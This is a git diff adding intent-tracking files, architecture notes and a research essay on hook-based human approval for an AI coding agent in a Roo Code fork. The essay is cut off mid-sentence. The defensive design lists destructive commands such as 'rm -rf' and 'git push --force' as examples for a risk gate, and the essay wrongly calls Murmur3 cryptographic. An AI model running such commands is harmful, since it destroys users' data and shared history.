diff --git a/.orchestration/.intentignore b/.orchestration/.intentignore new file mode 100644 index 00000000000..794c43e0238 --- /dev/null +++ b/.orchestration/.intentignore @@ -0,0 +1,19 @@ +# .intentignore — Intent Authorization Bypass List +# ────────────────────────────────────────────────────────────────────────── +# List intent IDs that should bypass the UI-blocking authorization gate. +# +# Intents listed here will have their DESTRUCTIVE operations auto-approved +# (but CRITICAL commands like rm -rf, git push --force still require approval). +# +# A codebase is a collection of intents as much as it is a collection of +# organized code files linked by imports. Some intents may be low-risk +# enough that manual approval for every write is unnecessary. +# +# Format: One intent ID per line. Lines starting with # are comments. +# +# See: TRP1 Challenge Week 1, Phase 2 — .intentignore +# See: AISpec (https://github.com/cbora/aispec) — intent formalization +# ────────────────────────────────────────────────────────────────────────── + +# Example: Uncomment to bypass auth for draft intents +# INT-003 diff --git a/.orchestration/active_intents.yaml b/.orchestration/active_intents.yaml new file mode 100644 index 00000000000..be677c7480b --- /dev/null +++ b/.orchestration/active_intents.yaml @@ -0,0 +1,73 @@ +# .orchestration/active_intents.yaml +# ────────────────────────────────────────────────────────────────────────── +# Intent Specification File — Machine-Managed +# +# This file defines the active business intents for this workspace. +# The AI agent MUST call select_active_intent(intent_id) to "checkout" +# an intent before performing any mutating operations. +# +# Structure: +# - id: Unique identifier (e.g., "INT-001") +# - name: Human-readable description +# - status: DRAFT | IN_PROGRESS | COMPLETE | BLOCKED +# - owned_scope: File globs the intent is authorized to modify +# - constraints: Architectural rules the agent must follow +# - acceptance_criteria: Definition of Done — conditions for completion +# +# Updated via Pre-Hooks (when agent picks a task) and Post-Hooks (on completion). +# See: TRP1 Challenge Week 1 — The Data Model +# ────────────────────────────────────────────────────────────────────────── + +active_intents: + - id: "INT-001" + name: "JWT Authentication Migration" + status: "IN_PROGRESS" + owned_scope: + - "src/auth/**" + - "src/middleware/jwt.ts" + - "tests/auth/**" + constraints: + - "Must not use external auth providers (e.g., Auth0, Firebase Auth)" + - "Must maintain backward compatibility with Basic Auth" + - "All tokens must expire within 24 hours" + - "Must use RS256 signing algorithm" + acceptance_criteria: + - "Unit tests in tests/auth/ pass" + - "JWT tokens are issued on successful login" + - "Token refresh endpoint is functional" + - "Basic Auth fallback remains operational" + + - id: "INT-002" + name: "Refactor Auth Middleware" + status: "IN_PROGRESS" + owned_scope: + - "src/middleware/**" + - "src/auth/**" + - "tests/middleware/**" + constraints: + - "Must follow single-responsibility principle" + - "Must not break existing route handlers" + - "Must maintain Express.js middleware signature (req, res, next)" + - "Error responses must use standardized JSON error format" + acceptance_criteria: + - "All existing middleware tests pass" + - "Middleware is split into auth, rate-limit, and logging modules" + - "No circular dependencies between middleware modules" + + - id: "INT-003" + name: "Build Weather API Endpoint" + status: "DRAFT" + owned_scope: + - "src/api/weather/**" + - "src/services/weather/**" + - "tests/api/weather/**" + constraints: + - "Must use OpenWeatherMap free-tier API" + - "Must implement response caching (5-minute TTL)" + - "Must return ISO 8601 timestamps" + - "Rate limit: 60 requests per minute per client" + acceptance_criteria: + - "GET /api/weather/:city returns current weather data" + - "Response includes temperature, humidity, and description" + - "Invalid city returns 404 with descriptive error" + - "Cache reduces external API calls by at least 80%" diff --git a/ARCHITECTURE_NOTES.md b/ARCHITECTURE_NOTES.md new file mode 100644 index 00000000000..f1c60800e6a --- /dev/null +++ b/ARCHITECTURE_NOTES.md @@ -0,0 +1,430 @@ +# ARCHITECTURE_NOTES.md – Phase 0: Archaeological Dig Results + +**TRP1 Challenge Week 1 – Architecting the AI-Native IDE & Intent-Code Traceability** +_Findings from Roo Code (fork: )_ +_Date: February 18, 2026_ + +## Executive Summary – Phase 0 Status + +**Objective achieved**: Successfully mapped the critical execution pathways of Roo Code (tool loop, prompt construction, Webview ↔ Extension Host communication, conversation pipeline). +Identified precise hook injection points for Phase 1 (Handshake) and Phase 2 (Hook Engine). +Roo Code demonstrates **production-grade architecture** — monorepo with Clean Architecture layers, strong type safety, event-driven design, and built-in approval gates — providing an excellent foundation for intent traceability and governance. + +## 1. Core Extension Architecture + +### Main Entry Points + +- **Activation file**: `src/extension.ts` + Registers the sidebar provider and activation events. +- **Primary provider**: `src/core/webview/ClineProvider.ts` + Implements `vscode.WebviewViewProvider` — controls sidebar lifecycle and state. + +### Activation Flow (simplified) + +```typescript +// src/extension.ts (~line 323) +context.subscriptions.push( + vscode.window.registerWebviewViewProvider(ClineProvider.sideBarId, provider, { + webviewOptions: { retainContextWhenHidden: true }, + }), +) +``` + +## 2. Tool Execution System – Critical for Hooks + +### Tool Definitions + +Location: `src/shared/tools.ts` +Defines strongly-typed tool interfaces (e.g., `write_to_file`, `execute_command`). + +Example: + +```typescript +export interface WriteToFileToolUse extends ToolUse<"write_to_file"> { + name: "write_to_file" + params: { path: string; content: string } +} +``` + +### Central Tool Dispatcher – MAIN HOOK TARGET + +Location: `src/core/assistant-message/presentAssistantMessage.ts` +This is **the primary tool execution loop**. + +Key pattern: + +```typescript +switch (block.name) { + case "execute_command": + await executeCommandTool.handle(cline, block, { askApproval, handleError, pushToolResult }) + break + case "write_to_file": + await writeToFileTool.handle(cline, block, { askApproval, handleError, pushToolResult }) + break +} +``` + +### Tool Handlers + +- `src/core/tools/ExecuteCommandTool.ts` → runs shell commands via VS Code terminal +- `src/core/tools/WriteToFileTool.ts` → writes/modifies files (with diff preview + approval) + +**Hook opportunities identified**: + +- **Pre-hook**: Before `.handle()` call (validate intent, scope, HITL) +- **Post-hook**: After successful execution (log trace, compute hash, format/lint) + +## 3. System Prompt Generation – Critical for Reasoning Enforcement + +### Main Builder Locations + +- Entry: `src/core/webview/generateSystemPrompt.ts` +- Core function: `src/core/prompts/system.ts` → `SYSTEM_PROMPT()` +- Modular sections: `src/core/prompts/sections/` + +### Prompt Construction Flow + +```typescript +export const generateSystemPrompt = async (provider: ClineProvider, message: WebviewMessage) => { + const systemPrompt = await SYSTEM_PROMPT( + provider.context, + cwd, + mcpEnabled ? provider.getMcpHub() : undefined, + diffStrategy, + mode, + customModePrompts, + customInstructions, + // ... other dynamic parts + ) +} +``` + +**Injection points for Phase 1**: + +- `customInstructions` +- `customModePrompts` +- Add new param `intentContext` → inject `` block + +## 4. Webview ↔ Extension Host Communication + +### Pattern + +- **Frontend**: `webview-ui/` (React, no Node.js access) +- **Backend**: `src/core/webview/ClineProvider.ts` +- **IPC**: `postMessage` ↔ `onDidReceiveMessage` + +### Central Handler + +`src/core/webview/webviewMessageHandler.ts` — dispatches all incoming messages from UI. + +**Phase 1 opportunity**: Add new message types (`analyzeIntent`, `selectActiveIntent`). + +## 5. LLM Conversation Pipeline – Full Flow + +1. User input → `webviewMessageHandler` → `Task.handleWebviewAskResponse()` +2. `Task.start()` → LLM request via provider +3. Response → `presentAssistantMessage()` → tool execution switch +4. Tool result → `postStateToWebview()` → UI update + +Key class: `src/core/task/Task.ts` — manages state, history, tools. + +Persistence: `.roo/tasks/{taskId}/` (we will extend to `.orchestration/`). + +## 6. High-Level Execution Flow Diagram + +```mermaid +graph TD + A[User → Webview UI] -->|postMessage| B[Extension Host
ClineProvider] + B -->|LLM Request| C[AI Model
Anthropic/OpenAI/etc.] + C -->|Tool Call Block| D[presentAssistantMessage.ts
Main Tool Dispatcher] + D -->|switch| E[Tool Handlers
e.g. WriteToFileTool / ExecuteCommandTool] + E -->|VS Code APIs| F[File System / Terminal] + D -->|postStateToWebview| A[Webview UI] + style D fill:#ff6b6b,stroke:#333,stroke-width:2px +``` + +![alt text](mermaid-diagram.svg) + +**Highlighted**: `presentAssistantMessage.ts` — primary target for tool interception. + +## 7. Key Findings Summary – Phase 0 Targets + +| Requirement | Location Found | Notes / Hook Potential | +| ------------------------------------------ | -------------------------------------------------------------------------- | ---------------------------------------- | +| Tool loop (execute_command, write_to_file) | `src/core/assistant-message/presentAssistantMessage.ts` | Main switch → ideal Pre/Post hook points | +| Tool handlers | `src/core/tools/*.ts` | Individual `.handle()` methods | +| System prompt builder | `src/core/webview/generateSystemPrompt.ts`
`src/core/prompts/system.ts` | Inject intent rules here | +| Webview ↔ Host communication | `src/core/webview/webviewMessageHandler.ts` | Add intent selection messages | +| Conversation / task management | `src/core/task/Task.ts` | Extend with intent metadata | + +## 8. Strategic Observations + +- Roo Code already has approval gates (`askApproval`) → perfect for HITL enforcement +- Existing event-driven design (EventEmitter) → ideal for HookEngine +- Strong type system (`@roo-code/types`) → extend for `IntentMetadata` +- Production-grade patterns → easy to add clean, maintainable hooks + +--- + +## 9. Phase 1 Overview + +Phase 1 implements the **Reasoning Loop** ("Handshake") — a two-stage state machine that forces the AI agent to declare a business intent before performing any mutating operations. + +**The Problem Solved**: Without the Handshake, the AI agent can immediately modify files upon receiving a user request, with no traceability to business requirements ("vibe coding"). + +**The Solution**: A `select_active_intent(intent_id)` tool + HookEngine middleware that: + +1. Blocks all mutating tools until an intent is declared +2. Reads `.orchestration/active_intents.yaml` for intent context +3. Injects constraints, scope, and acceptance criteria into the conversation +4. Enforces the protocol via system prompt + runtime gatekeeper + +## 10. New Tool: `select_active_intent` + +### Tool Registration + +The tool was added across the full Roo Code tool registration pipeline: + +| File Modified | Change | +| ------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------- | +| `packages/types/src/tool.ts` | Added `"select_active_intent"` to canonical `toolNames` array | +| `src/shared/tools.ts` | Added `NativeToolArgs`, `ToolUse` interface, param name `intent_id`, display name, ALWAYS_AVAILABLE status | +| `src/core/prompts/tools/native-tools/select_active_intent.ts` | New — JSON Schema (OpenAI format) for LLM tool calling | +| `src/core/prompts/tools/native-tools/index.ts` | Registered in `getNativeTools()` array | + +### Tool Schema (sent to LLM) + +```typescript +{ + type: "function", + function: { + name: "select_active_intent", + description: "Declare which business intent you are working on...", + strict: true, + parameters: { + type: "object", + properties: { + intent_id: { type: "string", description: "The unique identifier..." } + }, + required: ["intent_id"], + additionalProperties: false + } + } +} +``` + +## 11. Hook Engine Architecture (`src/hooks/`) + +### Directory Structure + +``` +src/hooks/ +├── index.ts # Public API re-exports +├── types.ts # Shared types (HookContext, PreHookResult, IntentEntry, etc.) +├── HookEngine.ts # Central middleware orchestrator +├── IntentContextLoader.ts # Pre-hook: handles select_active_intent +└── PreToolHook.ts # Gatekeeper: blocks mutating tools without intent +``` + +### Design Principles + +1. **Composable** — Hooks are registered as ordered arrays; new hooks can be added without modifying existing ones +2. **Non-intrusive** — The engine wraps existing tool execution; it does not replace or patch tool handlers +3. **Fail-safe** — If a hook throws, the error is captured and returned as a `tool_result` error + +### The HookEngine Class + +```typescript +class HookEngine { + private readonly preHooks: Array<(ctx: HookContext) => Promise> + private _activeIntentId: string | null = null + private _intentContextXml: string | null = null + + constructor(cwd: string) { + this.preHooks = [ + (ctx) => GatekeeperHook.execute(ctx, this), // Priority 1: Validate intent + (ctx) => IntentContextLoader.execute(ctx, this), // Priority 2: Load context + ] + } + + async runPreHooks(toolName, params): Promise { ... } +} +``` + +**Instantiation**: Created in `Task.ts` constructor → `this.hookEngine = new HookEngine(this.cwd)` + +### Integration Point — `presentAssistantMessage.ts` + +The HookEngine is invoked **before** the tool dispatch `switch` statement: + +```typescript +// Line ~678 in presentAssistantMessage.ts +if (!block.partial) { + const hookResult = await cline.hookEngine.runPreHooks( + block.name, + (block.nativeArgs as Record) ?? block.params ?? {}, + ) + + if (hookResult.action === "block" || hookResult.action === "inject") { + pushToolResult( + hookResult.action === "block" + ? formatResponse.toolError(hookResult.toolResult) + : hookResult.toolResult, + ) + break + } +} + +switch (block.name) { ... } // Original switch — only reached if hooks allow +``` + +## 12. Pre-Hook 1: Gatekeeper (`PreToolHook.ts`) + +### Decision Tree + +``` +Is tool exempt? (read_file, select_active_intent, etc.) + → YES → Allow + → NO → Is intent active? + → YES → Allow + → NO → BLOCK: "You must cite a valid active Intent ID before any tool use." +``` + +### Tool Classification + +| Category | Tools | Intent Required? | +| ------------- | ------------------------------------------------------------------ | -------------------------------------- | +| **Mutating** | `write_to_file`, `apply_diff`, `edit`, `execute_command`, etc. | YES | +| **Read-only** | `read_file`, `list_files`, `search_files`, `codebase_search` | NO | +| **Meta** | `ask_followup_question`, `attempt_completion`, `switch_mode`, etc. | NO | +| **Handshake** | `select_active_intent` | NO (exempt to avoid circular blocking) | + +## 13. Pre-Hook 2: IntentContextLoader (`IntentContextLoader.ts`) + +### Execution Flow + +1. Only activates for `select_active_intent` tool calls +2. Reads `.orchestration/active_intents.yaml` using the `yaml` package +3. Finds matching intent by ID +4. Builds `` XML block with constraints, scope, and criteria +5. Returns XML as `tool_result` → AI sees it in next turn + +### XML Context Block (example output) + +```xml + + + + Must not use external auth providers + Must maintain backward compatibility with Basic Auth + + + src/auth/** + src/middleware/jwt.ts + + + Unit tests in tests/auth/ pass + + + + You are now operating under Intent "INT-001: JWT Authentication Migration". + You MUST respect all constraints. You may ONLY modify files matching owned_scope. + + +``` + +## 14. System Prompt Injection (`intent-protocol.ts`) + +A new prompt section was added to `src/core/prompts/sections/intent-protocol.ts` and integrated into `system.ts` via `getIntentProtocolSection()`. + +Key instruction injected: + +> "You are an Intent-Driven Architect. You CANNOT write code or call any mutating tool immediately. Your first action MUST be to analyze the user request and call `select_active_intent(intent_id)` to load the necessary context." + +This provides **probabilistic enforcement** (LLM follows instructions) while the Gatekeeper provides **deterministic enforcement** (runtime blocking). + +## 15. Data Model: `.orchestration/active_intents.yaml` + +Example file created at `.orchestration/active_intents.yaml` with three intents: + +- `INT-001`: JWT Authentication Migration (IN_PROGRESS) +- `INT-002`: Refactor Auth Middleware (IN_PROGRESS) +- `INT-003`: Build Weather API Endpoint (DRAFT) + +## 16. Phase 1 Execution Flow Diagram + +```mermaid +sequenceDiagram + participant U as User + participant W as Webview UI + participant E as Extension Host + participant H as HookEngine + participant G as Gatekeeper + participant I as IntentContextLoader + participant L as LLM + + U->>W: "Refactor auth middleware" + W->>E: postMessage + E->>L: System Prompt + User Request + L->>E: tool_use: select_active_intent("INT-002") + E->>H: runPreHooks("select_active_intent", {intent_id: "INT-002"}) + H->>G: execute() → allow (exempt tool) + H->>I: execute() → read YAML → build XML + I-->>H: {action: "inject", toolResult: "..."} + H-->>E: inject result + E->>L: tool_result: XML block + L->>E: tool_use: write_to_file(path, content) + E->>H: runPreHooks("write_to_file", {...}) + H->>G: execute() → intent active → allow + H-->>E: {action: "allow"} + E->>E: writeToFileTool.handle() +``` + +## 17. How to Test Phase 1 + +### Manual Testing in Extension Host + +1. **Launch the Extension Host** (`F5` in VS Code) +2. Ensure `.orchestration/active_intents.yaml` exists in the test workspace +3. Open the Roo Code sidebar chat panel + +### Test Case 1: Happy Path (Handshake succeeds) + +``` +User: "Refactor the auth middleware" +Expected: + → AI calls select_active_intent("INT-002") + → Tool result returns XML + → AI then uses mutating tools (write_to_file, etc.) within scope +``` + +### Test Case 2: Gatekeeper blocks (no intent declared) + +``` +User: "Write a hello world file" +Expected (if AI skips handshake): + → AI calls write_to_file(...) + → Gatekeeper BLOCKS with error: + "You must cite a valid active Intent ID before any tool use." + → AI self-corrects and calls select_active_intent first +``` + +### Test Case 3: Invalid intent ID + +``` +User triggers select_active_intent("INT-999") +Expected: + → IntentContextLoader returns error with list of available intents + → AI self-corrects with valid ID +``` + +### Test Case 4: Missing YAML file + +``` +Delete .orchestration/active_intents.yaml +User: "Do some work" +Expected: + → IntentContextLoader returns error: + "File not found: .orchestration/active_intents.yaml" + → AI asks user to create the file +``` diff --git a/Research_Enhancing_IDEs_with_AI_Code_Hooks.md b/Research_Enhancing_IDEs_with_AI_Code_Hooks.md new file mode 100644 index 00000000000..aae8c994504 --- /dev/null +++ b/Research_Enhancing_IDEs_with_AI_Code_Hooks.md @@ -0,0 +1,354 @@ +# **Architecting a Governed Agentic IDE Extension: Formalizing Code\-to\-Intent Traceability and Multi\-Agent Orchestration** + +The paradigm of software engineering is undergoing a tectonic shift, transitioning from traditional manual code authoring to the orchestration of autonomous, artificial intelligence\-driven agents\. Within this emerging ecosystem, the primary challenge is no longer the generation of raw syntax, but rather the governance of these digital workers, the tracking of their decision\-making processes, and the assurance that every executed line of code correlates directly with verified business and architectural requirements\.1 Currently, powerful Command Line Interface \(CLI\) agents and integrated development environment \(IDE\) assistants operate effectively but often lack rigorous state management, producing code in a fundamentally non\-deterministic manner\.2 Furthermore, without a formal interceptor mechanism, unmanaged agents pose critical enterprise risks by executing destructive terminal commands or operating outside native IDE workflows without human oversight\.1 + +To equip the modern engineering workforce, there is a critical imperative to design a governed, native IDE extension that utilizes deterministic lifecycle hooks, executable specifications, and immutable trace records to bind high\-level intent directly to the source code abstract syntax tree \(AST\)\.1 The subsequent analysis provides an exhaustive architectural blueprint for developing such a system within a Visual Studio Code \(VS Code\) environment, tailored specifically as a curriculum for trainee engineers\. By synthesizing the artifact\-driven paradigms of Google Antigravity, the intent\-first workflows of GitHub SpecKit, the deterministic lifecycle hooks of Kiro and Claude Code, and the attribution standards of Cursor's Agent Trace, this blueprint establishes a strict Human\-in\-the\-Loop \(HITL\) middleware boundary\.4 Furthermore, it formalizes a persistent data model to store the relationship between managed specification documents and generated source code, while resolving the complex concurrency challenges inherent in multi\-agent editing environments\. + +## **State of the Art: Abstracting Core Agentic Mechanisms** + +To architect a robust IDE extension, it is necessary to abstract and generalize the most effective mechanisms from current state\-of\-the\-art agentic tools\. The core objective is to move away from treating large language models as advanced search engines and instead treat them as literal\-minded operational entities that require unambiguous instructions and strict guardrails\.3 + +### **Artifact\-Driven Verification and Trust Architecture** + +The concept of "Artifacts" fundamentally bridges the trust gap inherent in autonomous code generation\.10 In traditional setups, developers must manually scroll through raw tool calls or massive code diffs to verify an agent's logic, a process that is both tedious and prone to oversight\.5 Platforms utilizing an artifact\-driven approach, such as Google Antigravity, mandate that agents generate tangible, intermediate deliverables before and after modifying the codebase\.5 + +These deliverables include structured task lists, implementation plans, architectural walkthroughs, and even headless browser recordings capturing pre\- and post\-execution user interface states\.11 Crucially, these artifacts act as living documents\. The architecture allows developers to leave asynchronous, contextual feedback directly on the artifact—akin to collaborative document commenting—which the agent then ingests to autonomously adjust its execution flow without breaking the asynchronous event loop\.5 In an IDE extension, implementing an artifact engine ensures that intermediate logical steps are materialized and reviewable before any filesystem manipulation occurs\. + +### **Deterministic Lifecycle Hooks in Agent Operations** + +To enforce operational rules and manage the generation of artifacts, the extension architecture must employ deterministic lifecycle hooks\. Unlike system prompts, which rely on the model's probabilistic adherence to natural language instructions, hooks are hardcoded, event\-driven middleware components that execute regardless of the model's internal processing\.13 + +Hooks intercept the agent's workflow at critical junctures\. Tools like Claude Code CLI and Kiro IDE define specific trigger events such as file saves, prompt submissions, and tool utilization phases\.7 The pre\-edit interception phase, commonly denoted as a PreToolUse hook, pauses the asynchronous execution loop when an agent attempts to write a file or execute a bash command\.7 This pause allows the system to classify the command, perform security validation, or trigger a UI\-blocking modal requesting human authorization for destructive actions\.1 + +Conversely, post\-edit automation relies on PostToolUse hooks\. Following a successful file modification, these hooks automatically invoke deterministic tools such as code formatters, linters, or security scanners\.15 If a linter fails during this phase, the hook is designed to capture the standard error output and feed it back into the agent's context window, forcing an autonomous self\-correction loop without requiring human intervention\.18 For trainee developers, mastering this event\-driven architecture is critical for moving beyond simple chat interfaces into robust system governance\. + +### **Open\-Source Ecosystem Implementations** + +The open\-source ecosystem provides several reference architectures for integrating these concepts into VS Code\. Extensions such as Cline and Roo Code offer sophisticated examples of human\-in\-the\-loop GUIs and Model Context Protocol \(MCP\) integrations\.19 Cline, for instance, requires manual approval for every file change and terminal command via a specialized diff view, acting as a mandatory pre\-execution gate\.19 It also features robust state\-tracking mechanisms that capture workspace snapshots at each step, allowing developers to compare post\-tool execution states and restore previous versions if necessary\.19 + +Roo Code expands on this by utilizing distinct modes—such as Architect, Code, and Debug—and exposing internal task APIs that allow other extensions to programmatically initiate tasks or send messages to the active agent panel\.20 Furthermore, platforms like Continue\.dev demonstrate how to integrate agentic workflows with continuous integration pipelines, utilizing custom build extensions with specific lifecycle events like onBuildStart and onBuildComplete to validate payloads before execution\.22 Trainees must analyze these open\-source repositories to understand how to bind Webview components to the Extension Host securely\. + +## **The Intent\-Driven Paradigm: GitHub SpecKit Foundation** + +While artifacts handle intermediate verification, the overarching project intent must be established before the agent begins planning\. Spec\-Driven Development \(SDD\) inverts traditional workflows by treating the specification as the executable source of truth, rendering the code itself a secondary, generated artifact\.2 GitHub SpecKit serves as a foundational framework for this methodology, utilizing a strict, command\-driven pipeline to manage software lifecycles\.4 + +The SDD process operates sequentially to eliminate ambiguity\. Development begins by establishing a foundational "Constitution"—a persistent memory file defining non\-negotiable project principles, testing standards, user experience consistency, and architectural boundaries\.4 By forcing the agent to reference this constitution, the system ensures that generated code adheres to enterprise constraints, such as forbidding unnecessary abstractions or mandating test\-driven development\.4 + +Following the constitutional setup, high\-level user prompts are translated into formalized functional specifications\. This phase explicitly avoids technical stack discussions, focusing entirely on user stories and product scenarios using structured notations\.4 These specifications then undergo multi\-step refinement\. The agent analyzes the functional requirements to produce a technical implementation plan, defining API contracts, data models, and strict system boundaries\.4 Only after these documents are verified by the human developer does the system break the plan into granular, actionable tasks for execution\.25 By enforcing this rigorous pipeline, the system mitigates the probabilistic nature of large language models, ensuring that generated code strictly adheres to the established architectural intent rather than drifting based on conversational context\.2 + +## **Formalizing the AST\-to\-Intent Correlation: Extending Agent Trace** + +Although Spec\-Driven Development ensures that features are planned before they are coded, and lifecycle hooks ensure that operations are executed safely, a critical systemic gap remains: the persistent, formal correlation between the written specification documents and the exact lines of source code they generated\. + +Current version control systems, utilizing tools like git blame, are fundamentally inadequate for the age of automated generation\.8 These systems record which user account changed a line and at what timestamp, but they completely strip away the reasoning process, the specific generative model utilized, and the exact intent that drove the modification\.8 When multiple agents autonomously edit a codebase, debugging becomes highly complex\. Developers struggle to determine whether a failing function was written by a human pair\-programmer, an outdated autonomous background agent, or a specialized security reviewer agent\.28 + +### **The Agent Trace Specification** + +To resolve this attribution crisis, the trainee extension architecture must implement and extend the Agent Trace specification\. Agent Trace is an open, vendor\-neutral data specification that utilizes a JSON\-based schema to map code ranges to the conversations and contributors behind them\.8 + +The fundamental unit of this architecture is the Trace Record, which groups modifications at the file and line level\.9 Instead of attributing every line individually—which would cause massive data bloat—the schema groups attribution ranges by the specific conversation that produced them\.29 + +The structural components of a Trace Record are detailed below: + +**Schema Component** + +**Technical Function and Purpose** + +**Trace Record Root** + +Contains a unique identifier, an RFC 3339 timestamp, and a Version Control System \(VCS\) object identifying the specific revision \(e\.g\., a Git commit SHA or Jujutsu change ID\) to ensure temporal accuracy\.29 + +**Files Array** + +An array of file objects, each containing a relative path from the repository root and an array of associated conversations that contributed to that specific file\.29 + +**Conversation Object** + +Includes a uniform resource locator \(URL\) linking back to the specific interaction log, acting as the primary intent metadata\. Groups all code ranges generated during a single session\.9 + +**Contributor Metadata** + +Identifies the entity type \(Human, AI, Mixed, or Unknown\) and specifies the exact model identifier utilized \(e\.g\., anthropic/claude\-3\-5\-sonnet\-20241022\)\.9 + +**Range Object** + +Specifies the 1\-indexed start and end lines for the generated code\. Supports contributor overrides for complex agent handoff scenarios where multiple models edit the same block\.9 + +**Related Array** + +An extensible array within the conversation object designed to link to sub\-resources, external prompts, or external ticket tracking systems\.9 + +### **Injecting Specification Requirements via Sidecar Storage** + +To formally correlate intent with code, trainees must expand the Agent Trace schema to explicitly link generated code ranges to the managed specification documents produced by the SpecKit implementation\. This is achieved by hijacking the related array within the conversation object\.9 By injecting a structured reference to the specific requirement ID from the SpecKit markdown file into this metadata array, the system creates a bidirectional, queryable link between the Product Requirements Document and the AST\.29 + +Because the Agent Trace specification is intentionally storage\-agnostic, the implementation within an IDE extension requires careful consideration of read/write latency and version control integration\.8 Trainees must implement a sidecar storage pattern\.30 Rather than polluting the source code files with inline comments or proprietary metadata tags, the extension maintains a \.orchestration/agent_trace\.jsonl file or a lightweight local SQLite database at the root of the workspace\.1 This sidecar approach mirrors techniques used in Digital Asset Management \(DAM\), allowing for non\-destructive editing of metadata while preserving the integrity of the original source files\.30 + +### **Content Hashing for Spatial Independence** + +A major challenge in multi\-agent environments is that line numbers are highly volatile\. As subsequent agents or humans edit a file, line ranges shift, breaking traditional line\-based attribution protocols\.9 If an agent inserts a function at line 10, but a human later adds 20 lines of imports at the top of the file, the agent's function shifts to line 30, rendering the original trace record inaccurate\. + +To maintain the integrity of the code\-intent correlation across continuous refactoring, the extension must utilize the content_hash property defined in the Agent Trace schema\.9 By computing a cryptographic hash \(such as Murmur3\) of the specific code snippet—either the AST node itself or the exact string block—at the exact time of insertion, the attribution becomes entirely spatially independent\.9 If a human developer moves an AI\-generated function to a completely different file, the traceability engine can scan the workspace, match the content_hash, and successfully re\-link the moved function back to its original specification and agent conversation\.28 This ensures that compliance auditing and debugging remain robust regardless of how the codebase evolves\. + +## **Architectural Blueprint: The Hook Engine and Middleware Boundary** + +The physical architecture of the VS Code extension must be designed with strict privilege separation\. The user interface must operate within a restricted Webview, while all agentic logic, API polling, and secret management are confined to the Node\.js\-backed Extension Host\.1 The Extension Host securely manages all interactions with the provider models and handles the fetching of tools via the Model Context Protocol \(MCP\)\. Between these environments, trainees must establish robust asynchronous Inter\-Process Communication \(IPC\)\.1 The Webview serves strictly as a presentation layer, emitting events via postMessage APIs to the Extension Host, which receives these events, orchestrates the generative interaction, and streams textual and artifact data back to the Webview state\.1 Placing execution logic inside the Webview is an architectural anti\-pattern that exposes the system to severe security vulnerabilities\.1 + +At the center of this architecture sits the Hook Engine, acting as a strict middleware boundary\.1 The Hook Engine intercepts all tool execution requests \(specifically at the PreToolUse phase\) to enforce Human\-in\-the\-Loop \(HITL\) authorization for destructive commands before they reach the local filesystem or terminal capabilities\. This topology ensures that asynchronous tool calls from the generative model are paused, evaluated against security policies, and explicitly authorized by the user, providing an impenetrable defense against runaway execution loops\.1 + +### **Integrating Model Context Protocol \(MCP\) Capabilities** + +To empower the agent to read specifications, scan codebases, and execute tests, the extension must not rely on brittle, hardcoded Node\.js functions\. Instead, trainees must orchestrate capabilities using the Model Context Protocol \(MCP\), creating a dynamic, standardized interface for tool execution\.1 + +Trainees must implement an MCP Client within the Extension Host that connects to specialized MCP servers over standard input/output \(stdio\) transport mechanisms\.1 The extension dynamically discovers tools exposed by these servers by invoking client\.listTools\(\)\. These tools are then parsed and injected into the system prompt as standard JSON Schema tool definitions\.1 + +For the intent\-correlation workflow, specific MCP toolsets are required to facilitate the automated lifecycle: + +**MCP Tool Category** + +**Technical Implementation and Purpose** + +**Specification Discovery** + +Tools designed to read the \.specify/ directory, parse Markdown or EARS\-formatted requirements, and load the constraints into the agent's context, ensuring alignment with the project Constitution\.25 + +**Workspace Interaction** + +Tools leveraging the standard @modelcontextprotocol/server\-filesystem to safely read, write, and manipulate target source files within authorized project directories\.1 + +**Validation & Actuation** + +Read\-only bash executors to run linters, type\-checkers, and unit tests\. These tools provide the necessary feedback loop to ensure the generated code satisfies the exact acceptance criteria outlined in the specification documents\.1 + +## **Trainee Implementation Curriculum: Task Breakdowns and Deliverables** + +For trainee engineers to successfully implement this system, the engineering effort must be deconstructed into discrete, manageable architectural epics\. Operating under the paradigm of "Managers of Silicon Workers," trainees are expected to utilize generative coding assistants to produce standard boilerplate syntax, focusing their own cognitive effort on systems architecture, cross\-process orchestration, and robust telemetry\.1 + +The curriculum is structured into four progressive phases, culminating in a fully governed, traceable IDE extension\. + +### **Phase 1: Environment Scaffolding and Asynchronous Orchestration** + +The foundation requires scaffolding the extension and establishing the highly segregated execution environment required by VS Code extensions\. Trainees must successfully bridge the synchronous nature of LLM interactions with the asynchronous event loop of the IDE\. + +**Task Designation** + +**Execution Requirements** + +**Success Criteria** + +**Extension Initialization** + +Utilize npx yo code to generate the TypeScript boilerplate\. Establish the base package\.json configurations and activation events\.1 + +A compiling extension that activates upon a specific command payload\. + +**Webview UI Segregation** + +Construct a Chat Webview in the VS Code sidebar\. Implement secure postMessage IPC handlers to transmit user inputs to the backend\.1 + +Webview successfully displays a user interface; no Node\.js APIs are accessible from the frontend layer\. + +**Extension Host Connectivity** + +Integrate official provider SDKs \(e\.g\., Anthropic or OpenAI\) exclusively within the Extension Host\. Configure streaming responses back to the Webview\.1 + +Generative text successfully streams character\-by\-character from the Host to the Webview UI\. + +**State Management Protocol** + +Implement logic to read and write to a \.orchestration/TODO\.md file at the initiation and conclusion of every session to prevent context degradation\.1 + +The agent autonomously updates the task list reflecting the completion of the chat session\. + +### **Phase 2: Deploying the Hook Middleware and HITL Boundary** + +The most critical evaluation metric for trainees is the implementation of the Interceptor/Middleware pattern\.1 Trainees must architect the Hook Engine that wraps all tool execution requests emitted by the generative model, ensuring that autonomous action does not equate to unchecked access\. + +**Task Designation** + +**Execution Requirements** + +**Success Criteria** + +**Command Classification** + +Write an evaluation layer that inspects the JSON payload of every PreToolUse event\. Classify commands using regex or AST analysis as either Safe \(e\.g\., read_file\) or Destructive \(e\.g\., rm \-rf, git push \-\-force\)\.1 + +System accurately categorizes a suite of test commands into correct risk tiers without false negatives\. + +**UI\-Blocking Authorization** + +For Destructive commands, pause the Promise chain and trigger vscode\.window\.showWarningMessage with Approve/Reject options\.1 + +The asynchronous execution loop pauses indefinitely until the user selects an option from the native modal\. + +**Autonomous Recovery Loop** + +Catch rejection events from the UI modal\. Format the rejection as a standardized JSON tool\-error and append it to the message history, prompting the model to re\-evaluate\.1 + +Upon rejection, the agent apologises, analyzes the constraint, and proposes an alternative, safe operational plan\. + +**Post\-Edit Formatting** + +Implement a PostToolUse hook that automatically triggers a local code formatter \(e\.g\., Prettier\) or linter on any file modified by the agent\.15 + +Files are immediately formatted post\-generation; linter errors are fed back into the agent context for self\-correction\. + +### **Phase 3: Engineering Code\-Intent Traceability Storage** + +With execution safely governed, trainees must implement the 